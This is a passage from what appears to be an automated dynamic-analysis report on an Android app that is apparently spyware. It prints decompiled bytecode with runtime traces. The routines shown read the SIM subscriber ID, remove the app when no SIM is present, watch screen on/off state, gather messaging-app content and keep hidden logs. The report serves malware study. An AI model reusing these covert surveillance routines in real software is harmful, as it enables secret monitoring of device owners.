      19sget-object v10, Lcom/network/android/d/a;->d:Ljava/util/Map;
      20const/16 v11, 0xbf0
      21move-object v0, p0
      22move-object v1, p1
      23move v2, p2
      25invoke-static/range {v0 .. v11}, Lcom/network/android/d/a;->a(Landroid/os/Handler;Landroid/content/Context;ZLjava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/util/Map;S)V
      27const-string v0, "getFacebookApp GetContentIM end"
      29invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068633
        • p0: getFacebookApp GetContentIM end
      30goto_22: return-void
      31catch_23: move-exception v0
      32new-instance v1, Ljava/lang/StringBuilder;
      34invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      36sget-object v2, Lcom/network/android/d/a;->c:Ljava/lang/String;
      38invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      39move-result-object v1
      41const-string v2, "getFacebookApp GetContentIM exception- "
      43invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      44move-result-object v1
      46invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      47move-result-object v2
      49invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      50move-result-object v1
      52invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      53move-result-object v1
      55invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      56goto/16 :goto_22
      APIs
      • android.content.Context.getSystemService
      • android.telephony.TelephonyManager.getSubscriberId
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • http First Last Ping
      • http First Last Ping no internet
      • phone
      • ping SMS httpFirstLastPing not on line send sms mo kill
      • removeAppalication with no sim
      • httpFirstLastPing
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "http First Last Ping"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074189
        • p0: http First Last Ping
      5iget-object v0, p0, Lcom/network/android/a/j;->a:Landroid/content/Context;
      7invoke-static {v0}, Lcom/network/android/j;->e(Landroid/content/Context;)Z
      8move-result v0
      9if-nez v0, :cond_55
      11const-string v0, "http First Last Ping no internet"
      13invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      14sget-boolean v0, Lcom/network/android/a/c;->i:Z
      15if-eqz v0, :cond_31
      17iget-object v0, p0, Lcom/network/android/a/j;->a:Landroid/content/Context;
      19const-string v1, "phone"
      21invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      22move-result-object v0
      23check-cast v0, Landroid/telephony/TelephonyManager;
      25invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
      26move-result-object v0
      27if-eqz v0, :cond_32
      29const-string v0, "ping SMS httpFirstLastPing not on line send sms mo kill"
      31invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      33iget-object v0, p0, Lcom/network/android/a/j;->a:Landroid/content/Context;
      34const/4 v1, 0x5
      36invoke-static {v0, v1}, Lcom/network/android/a/c;->b(Landroid/content/Context;I)V
      37goto_31: return-void
      38cond_32:
      39const-string v0, "removeAppalication with no sim"
      41invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      43iget-object v0, p0, Lcom/network/android/a/j;->a:Landroid/content/Context;
      45invoke-static {v0}, Lcom/network/h/b;->a(Landroid/content/Context;)V
      46try_end_3c: goto/16 :goto_31
      47catch_3d: move-exception v0
      48new-instance v1, Ljava/lang/StringBuilder;
      50const-string v2, "httpFirstLastPing"
      52invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      54invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      55move-result-object v2
      57invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      58move-result-object v1
      60invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      61move-result-object v1
      63invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      64goto/16 :goto_31
      65cond_55:
      66iget-object v0, p0, Lcom/network/android/a/j;->a:Landroid/content/Context;
      67const/4 v1, 0x0
      69invoke-static {v0, v1}, Lcom/network/android/a/c;->a(Landroid/content/Context;I)V
      70try_end_5b: goto/16 :goto_31
      Cross References
      APIs
      • android.content.IntentFilter.<init>
      • android.content.IntentFilter.addAction
      • android.content.Context.registerReceiver
      • android.content.Context.getSystemService
      • java.lang.Class.getMethod
      • java.lang.reflect.Method.invoke
      • java.lang.Boolean.booleanValue
      • java.lang.System.currentTimeMillis
      • java.lang.System.currentTimeMillis
      Strings
      • android.intent.action.SCREEN_ON
      • android.intent.action.SCREEN_OFF
      • power
      • isScreenOn
      Position Instruction Meta Information
      0const-wide/16 v4, 0x3e8
      1sput-object p0, Lcom/network/android/roomTap/k;->j:Landroid/content/Context;
      2new-instance v0, Landroid/content/IntentFilter;
      4const-string v1, "android.intent.action.SCREEN_ON"
      6invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
      8const-string v1, "android.intent.action.SCREEN_OFF"
      10invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
      12sget-object v1, Lcom/network/android/roomTap/k;->j:Landroid/content/Context;
      14sget-object v2, Lcom/network/android/roomTap/k;->l:Landroid/content/BroadcastReceiver;
      16invoke-virtual {v1, v2, v0}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
      • Time: 1068902
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: com.network.android.roomTap.l@943a63d
        • p1: android.content.IntentFilter@ea28e32
        • p1.getAction0: android.intent.action.SCREEN_ON
        • p1.getAction1: android.intent.action.SCREEN_OFF
        • Return:
          • null
      18sget-object v0, Lcom/network/android/roomTap/k;->j:Landroid/content/Context;
      20const-string v1, "power"
      22invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      • Time: 1068906
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: power
        • Return:
          • android.os.PowerManager@db67d00
      23move-result-object v0
      24check-cast v0, Landroid/os/PowerManager;
      25try_start_21: const-class v1, Landroid/os/PowerManager;
      27const-string v2, "isScreenOn"
      28const/4 v3, 0x0
      30invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
      • Time: 1068910
        • This:
          • class android.os.PowerManager
          • getName:android.os.PowerManager
        • p0: isScreenOn
        • p1: null
        • Return:
          • public boolean android.os.PowerManager.isScreenOn()
          • getName: isScreenOn
      31move-result-object v1
      32const/4 v2, 0x0
      34invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
      • Reflective invoke: android.os.PowerManager.isScreenOn
        • This:
          • android.os.PowerManager@db67d00
        • Return:
          • true
      • Time: 1068913
        • This:
          • public boolean android.os.PowerManager.isScreenOn()
          • getName:isScreenOn
        • p0: android.os.PowerManager@db67d00
        • p1: null
        • Return:
          • true
      35move-result-object v0
      36check-cast v0, Ljava/lang/Boolean;
      38invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
      39move-result v0
      40sput-boolean v0, Lcom/network/android/roomTap/k;->d:Z
      41try_end_37: sget-boolean v0, Lcom/network/android/roomTap/k;->d:Z
      42if-eqz v0, :cond_48
      44invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      45move-result-wide v0
      46div-long/2addr v0, v4
      47sput-wide v0, Lcom/network/android/roomTap/k;->i:J
      48goto_42: return-void
      49catch_43: move-exception v0
      50const/4 v0, 0x1
      51sput-boolean v0, Lcom/network/android/roomTap/k;->d:Z
      52goto/16 :goto_37
      53cond_48:
      54invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      55move-result-wide v0
      56div-long/2addr v0, v4
      57sput-wide v0, Lcom/network/android/roomTap/k;->g:J
      58goto/16 :goto_42
      Cross References
      APIs
      • android.content.Context.getSystemService
      • android.net.ConnectivityManager.getActiveNetworkInfo
      • android.net.NetworkInfo.isConnectedOrConnecting
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • connectivity
      • isOnline:
      Position Instruction Meta Information
      0const/4 v1, 0x1
      1try_start_1:
      2const-string v0, "connectivity"
      4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      • Time: 1074203
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: connectivity
        • Return:
          • android.net.ConnectivityManager@57b357a
      5move-result-object v0
      6check-cast v0, Landroid/net/ConnectivityManager;
      8invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
      • Time: 1074206
        • This:
          • android.net.ConnectivityManager@57b357a
        • Return:
          • [type: WIFI[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), failover: false, available: true, roaming: false]
      9move-result-object v0
      10if-eqz v0, :cond_17
      12invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnectedOrConnecting()Z
      • Time: 1074211
        • This:
          • [type: WIFI[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), failover: false, available: true, roaming: false]
        • Return:
          • true
      13try_end_12: move-result v0
      14if-eqz v0, :cond_17
      15move v0, v1
      16goto_16: return v0
      17cond_17: const/4 v0, 0x0
      18goto/16 :goto_16
      19catch_19: move-exception v0
      20new-instance v2, Ljava/lang/StringBuilder;
      22const-string v3, "isOnline: "
      24invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      26invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      27move-result-object v3
      29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      30move-result-object v2
      32invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      33move-result-object v2
      35invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      36move v0, v1
      37goto/16 :goto_16
      Cross References
      APIs
      • android.content.SharedPreferences.getString
      Strings
      • Skypi
      Position Instruction Meta Information
      1const-string v0, "Skypi"
      2const/4 v1, 0x0
      4invoke-interface {p0, v0, v1}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073727
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: Skypi
        • p1: null
        • Return:
          • null
      5move-result-object v0
      7invoke-static {v0}, Lcom/network/b/b;->h(Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073729
        • p0: null
        • Return:
          • null
      8move-result-object v0
      9sput-object v0, Lcom/network/b/b;->f:Ljava/lang/String;
      10return-void
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.HashMap.<init>
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.put
      • java.lang.Short.valueOf
      • java.util.HashMap.containsKey
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Short.valueOf
      • java.util.HashMap.get
      • java.lang.System.currentTimeMillis
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Short.valueOf
      • java.lang.Long.valueOf
      • java.util.HashMap.put
      • java.io.FileOutputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Long.longValue
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Short.valueOf
      • java.lang.Long.valueOf
      • java.util.HashMap.put
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileOutputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileOutputStream.<init>
      • java.io.FileOutputStream.write
      • java.io.FileOutputStream.close
      • java.io.FileOutputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileOutputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileOutputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • log ErrorLog:
      • code:
      • logParam
      • wantedDebugLevel:
      • debugLevel:
      • log ErrorLog: code: 34 logParam null wantedDebugLevel: 1 debugLevel: 1
      • log ErrorLog: code: 4 logParam null wantedDebugLevel: 1 debugLevel: 1
      • log ErrorLog: LOG_AGENT_FIRST_TIME_RUN code: 1 logParam null wantedDebugLevel: 1 debugLevel: 1
      • log ErrorLog: LOG_AGENT_INIT_SUCCESED code: 2 logParam null wantedDebugLevel: 1 debugLevel: 1
      • log ErrorLog: MOSQ_SERVICE_OFF code: 113 logParam null wantedDebugLevel: 2 debugLevel: 2
      • log not logging code:
      • debug level is not high enugh. wantedDebugLevel:
      • log not logging code: MOSQ_SERVICE_OFF code: 113 debug level is not high enugh. wantedDebugLevel: 1 debugLevel: 2
      • writeEntry log:
      • writeEntry log: 1
      • writeEntry log: 2
      • writeEntry log: 34
      • writeEntry log: 4
      • writeEntryNew log:
      • writeEntryNew log: 1
      • writeEntryNew log: 2
      • writeEntryNew log: 34
      • writeEntryNew log: 4
      • Consecutive Error log:
      • Consecutive Error log: 1
      • Consecutive Error log: 2
      • Consecutive Error log: 34
      • New Consecutive Error log entered time stemp:
      • New Consecutive Error log entered time stemp: 1658915386616
      • New Consecutive Error log entered time stemp: 1658915387670
      • New Consecutive Error log entered time stemp: 1658915388088
      • log should not log:
      • write:
      • Old Consecutive Error log time stemp:
      • Old Consecutive Error log time stemp: 1658915386616
      • Expired Consecutive Error log entered time stemp:
      • Blocked Consecutive Error log time stemp:
      • Blocked Consecutive Error log time stemp: 1658915386616
      • Not Consecutive Error log:
      • Not Consecutive Error log: 4
      • /data/data/com.network.android/logs/0vlt.dat
      • /data/data/com.network.android/logs/
      • 0vlt.dat
      • currentLogFilePath == null. somthing is wrong
      • writeEntry finally:
      • currentLogFilePath:
      • currentLogFilePath: /data/data/com.network.android/logs/0vlt.dat
      • writeEntry:
      Position Instruction Meta Information
      0const/4 v2, 0x1
      1const/4 v1, 0x0
      2const-class v3, Lcom/network/android/c/a/b;
      3monitor-enter v3
      4try_start_5: new-instance v0, Ljava/lang/StringBuilder;
      6const-string v4, "log ErrorLog: "
      8invoke-direct {v0, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      10invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      11move-result-object v0
      13const-string v4, " code: "
      15invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      16move-result-object v0
      18invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      19move-result-object v0
      21const-string v4, " logParam "
      23invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      24move-result-object v0
      26invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      27move-result-object v0
      29const-string v4, " wantedDebugLevel: "
      31invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      32move-result-object v0
      34invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      35move-result-object v0
      37const-string v4, " debugLevel: "
      39invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      40move-result-object v0
      42invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      43move-result-object v0
      45invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      46move-result-object v0
      48invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1072986
        • p0: log ErrorLog: LOG_AGENT_FIRST_TIME_RUN code: 1 logParam null wantedDebugLevel: 1 debugLevel: 1
      • Time: 1073643
        • p0: log ErrorLog: code: 4 logParam null wantedDebugLevel: 1 debugLevel: 1
      • Time: 1074097
        • p0: log ErrorLog: LOG_AGENT_INIT_SUCCESED code: 2 logParam null wantedDebugLevel: 1 debugLevel: 1
      • Time: 1074516
        • p0: log ErrorLog: code: 34 logParam null wantedDebugLevel: 1 debugLevel: 1
      • Time: 1079654
        • p0: log ErrorLog: MOSQ_SERVICE_OFF code: 113 logParam null wantedDebugLevel: 2 debugLevel: 2
      49sget v0, Lcom/network/b/b;->A:I
      50if-ge v0, p0, :cond_77
      51new-instance v0, Ljava/lang/StringBuilder;
      53const-string v1, "log not logging code: "
      55invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      57invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      58move-result-object v0
      60const-string v1, " code: "
      62invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      63move-result-object v0
      65invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      66move-result-object v0
      68const-string v1, " debug level is not high enugh. wantedDebugLevel: "
      70invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      71move-result-object v0
      72sget v1, Lcom/network/b/b;->A:I
      74invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      75move-result-object v0
      77const-string v1, " debugLevel: "
      79invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      80move-result-object v0
      82invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      83move-result-object v0
      85invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      86move-result-object v0
      88invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079656
        • p0: log not logging code: MOSQ_SERVICE_OFF code: 113 debug level is not high enugh. wantedDebugLevel: 1 debugLevel: 2
      89try_end_75: monitor-exit v3
      90return-void
      91cond_77:
      92sget-object v4, Lcom/network/android/c/a/b;->h:Ljava/lang/Object;
      93monitor-enter v4
      94try_start_7a: new-instance v0, Ljava/lang/StringBuilder;
      96const-string v5, "writeEntry log: "
      98invoke-direct {v0, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      100invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      101move-result-object v0
      103invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      104move-result-object v0
      106invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073036
        • p0: writeEntry log: 1
      • Time: 1073645
        • p0: writeEntry log: 4
      • Time: 1074099
        • p0: writeEntry log: 2
      • Time: 1074518
        • p0: writeEntry log: 34
      107const/16 v0, 0x100
      108if-ge p1, v0, :cond_93
      110invoke-static {p1}, Lcom/network/b/b;->a(S)V
      111cond_93: new-instance v0, Ljava/lang/StringBuilder;
      113const-string v5, "writeEntryNew log: "
      115invoke-direct {v0, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      117invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      118move-result-object v0
      120invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      121move-result-object v0
      123invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073040
        • p0: writeEntryNew log: 1
      • Time: 1073646
        • p0: writeEntryNew log: 4
      • Time: 1074103
        • p0: writeEntryNew log: 2
      • Time: 1074521
        • p0: writeEntryNew log: 34
      124try_end_a5: const/4 v5, 0x0
      125try_start_a6:
      126sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      127if-nez v0, :cond_1b4
      128new-instance v0, Ljava/util/HashMap;
      130invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
      131sput-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      132const/4 v6, 0x7
      134invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      135move-result-object v6
      136const/4 v7, 0x0
      138invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      140sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      141const/16 v6, 0x22
      143invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      144move-result-object v6
      145const/4 v7, 0x0
      147invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      149sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      150const/16 v6, 0x23
      152invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      153move-result-object v6
      154const/4 v7, 0x0
      156invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      158sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      159const/16 v6, 0x25
      161invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      162move-result-object v6
      163const/4 v7, 0x0
      165invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      167sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      168const/16 v6, 0x26
      170invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      171move-result-object v6
      172const/4 v7, 0x0
      174invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      176sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      177const/16 v6, 0x3a
      179invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      180move-result-object v6
      181const/4 v7, 0x0
      183invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      185sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      186const/16 v6, 0x20
      188invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      189move-result-object v6
      190const/4 v7, 0x0
      192invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      194sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      195const/16 v6, 0x24
      197invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      198move-result-object v6
      199const/4 v7, 0x0
      201invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      203sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      204const/16 v6, 0x60
      206invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      207move-result-object v6
      208const/4 v7, 0x0
      210invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      212sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      213const/16 v6, 0x56
      215invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      216move-result-object v6
      217const/4 v7, 0x0
      219invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      221sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      222const/16 v6, 0x24
      224invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      225move-result-object v6
      226const/4 v7, 0x0
      228invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      230sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      231const/16 v6, 0x55
      233invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      234move-result-object v6
      235const/4 v7, 0x0
      237invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      239sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      240const/16 v6, 0x65
      242invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      243move-result-object v6
      244const/4 v7, 0x0
      246invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      248sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      249const/16 v6, 0x66
      251invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      252move-result-object v6
      253const/4 v7, 0x0
      255invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      257sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      258const/16 v6, 0x67
